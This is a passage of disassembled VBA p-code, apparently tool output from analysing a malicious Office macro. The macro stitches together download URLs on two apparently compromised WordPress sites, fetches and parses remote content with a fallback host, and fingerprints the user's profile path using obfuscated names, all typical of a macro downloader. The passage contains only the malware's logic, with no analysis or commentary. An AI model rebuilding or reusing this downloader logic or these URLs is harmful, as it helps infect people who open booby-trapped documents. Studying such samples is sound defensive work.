' 	LitStr 0x0001 "."
' 	LitStr 0x0001 "t"
' 	Add 
' 	LitStr 0x0002 "xt"
' 	Add 
' 	St TSTS 
' Line #92:
' 	LitStr 0x000C "167362833333"
' 	Ld TSTS 
' 	Add 
' 	St CDDD 
' Line #93:
' 	LitStr 0x0004 "kaka"
' 	Ld TSTS 
' 	Add 
' 	St LNSS 
' Line #94:
' 	LitStr 0x001E "www.fresh-start-shopping.com/w"
' 	LitStr 0x001A "p-content/uploads/2015/06/"
' 	Add 
' 	St STT1 
' Line #95:
' 	LitStr 0x0012 "www.gode-film.dk/w"
' 	LitStr 0x001A "p-content/uploads/2015/06/"
' 	Add 
' 	St STT2 
' Line #96:
' Line #97:
' Line #98:
' 	Ld PHT 
' 	Ld STT1 
' 	Add 
' 	Ld CDDD 
' 	Add 
' 	St PBIn 
' Line #99:
' 	Ld PBIn 
' 	Ld Module4 
' 	ArgsMemLd Jhuqwhdhsss 0x0001 
' 	St CONT 
' Line #100:
' Line #101:
' 	Ld CONT 
' 	ArgsLd Rasdas 0x0001 
' 	St asdwq 
' Line #102:
' Line #103:
' 	LitStr 0x0001 "0"
' 	St HQUWDAAA 
' Line #104:
' 	Ld asdwq 
' 	LitStr 0x0001 "="
' 	Ne 
' 	Paren 
' 	IfBlock 
' Line #105:
' 	Ld PHT 
' 	Ld STT2 
' 	Add 
' 	Ld CDDD 
' 	Add 
' 	St PBIn 
' Line #106:
' 	Ld PBIn 
' 	Ld Module4 
' 	ArgsMemLd Jhuqwhdhsss 0x0001 
' 	St CONT 
' Line #107:
' 	Ld CONT 
' 	St asdwq 
' Line #108:
' 	LitStr 0x0001 "1"
' 	St HQUWDAAA 
' Line #109:
' 	EndIfBlock 
' Line #110:
' Line #111:
' 	Ld asdwq 
' 	ArgsLd Quqhwdbyas 0x0001 
' 	St CONT 
' Line #112:
' Line #113:
' 	Dim 
' 	VarDefn ahuywdgqy (As String)
' Line #114:
' Line #115:
' 	Ld CONT 
' 	LitStr 0x0001 "t"
' 	LitStr 0x0005 "ext10"
' 	Add 
' 	ArgsLd Port 0x0002 
' 	St TVT10 
' Line #116:
' 	Ld CONT 
' 	LitStr 0x0006 "text20"
' 	ArgsLd Port 0x0002 
' 	St TVT20 
' Line #117:
' 	Ld CONT 
' 	LitStr 0x0006 "text21"
' 	ArgsLd Port 0x0002 
' 	St TVT21 
' Line #118:
' 	Ld CONT 
' 	LitStr 0x0006 "text30"
' 	ArgsLd Port 0x0002 
' 	St TVT30 
' Line #119:
' 	Ld CONT 
' 	LitStr 0x0006 "text31"
' 	ArgsLd Port 0x0002 
' 	St TVT31 
' Line #120:
' 	Ld CONT 
' 	LitStr 0x0006 "stext1"
' 	ArgsLd Port 0x0002 
' 	St XPT1 
' Line #121:
' 	Ld CONT 
' 	LitStr 0x0006 "stext2"
' 	ArgsLd Port 0x0002 
' 	St XPT2 
' Line #122:
' 	Ld CONT 
' 	LitStr 0x0006 "stext3"
' 	ArgsLd Port 0x0002 
' 	St XPT3 
' Line #123:
' Line #124:
' Line #125:
' 	Ld NUWDHUQHUQWDH 
' 	Ld Module4 
' 	ArgsMemLd Goabc 0x0001 
' 	St WVR 
' Line #126:
' 	Ld WVR 
' 	LitStr 0x0005 "sers\"
' 	FnInStr 
' 	St hufehu1 
' Line #127:
' Line #128:
' 	Dim 
' 	VarDefn hudhw (As Integer)
' Line #129:
' 	Dim 
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	VarDefn ghdAdd
' Line #130:
' 	LitStr 0x0001 "1"
' 	LitDI2 0x0001 
' 	ArgsSt ghdAdd 0x0001 
' Line #131:
' 	LitStr 0x0001 "0"
' 	LitDI2 0x0002 
' 	ArgsSt ghdAdd 0x0001 
' Line #132:
' 	LitStr 0x0001 "0"
' 	LitDI2 0x0003 
' 	ArgsSt ghdAdd 0x0001 
' Line #133:
' Line #134:
' 	Ld hufehu1 
' 	LitDI2 0x0000 
' 	Ne 
' 	Paren 
' 	IfBlock 
' Line #135:
' 	LitStr 0x0001 "2"
' 	LitDI2 0x0001 
' 	ArgsSt ghdAdd 0x0001 
' Line #136:
' 	ElseBlock 
' Line #137:
' 	LitStr 0x0001 "3"
' 	LitDI2 0x0002 
' 	ArgsSt ghdAdd 0x0001 
' Line #138:
' 	EndIfBlock 
' Line #139:
' Line #140:
' Line #141:
' 	Ld ghdAdd 
' 	ArgsLd Join 0x0001 
' 	St JHWQUD 
' Line #142:
' 	Ld JHWQUD 
' 	ArgsLd Val 0x0001 
' 	St hudhw 
' Line #143:
' Line #144:
' 	LitDI2 0x0001 
' 	Paren 
' 	Ld Module4 
' 	ArgsMemCall WaitFor 0x0001 
' Line #145:
' Line #146:
' 	Ld PHT 
' 	Ld STT1 
' 	Add 
' 	Ld LNSS 
' 	Add 
' 	St MIWDWQ 
' Line #147:
' 	Ld HQUWDAAA 
…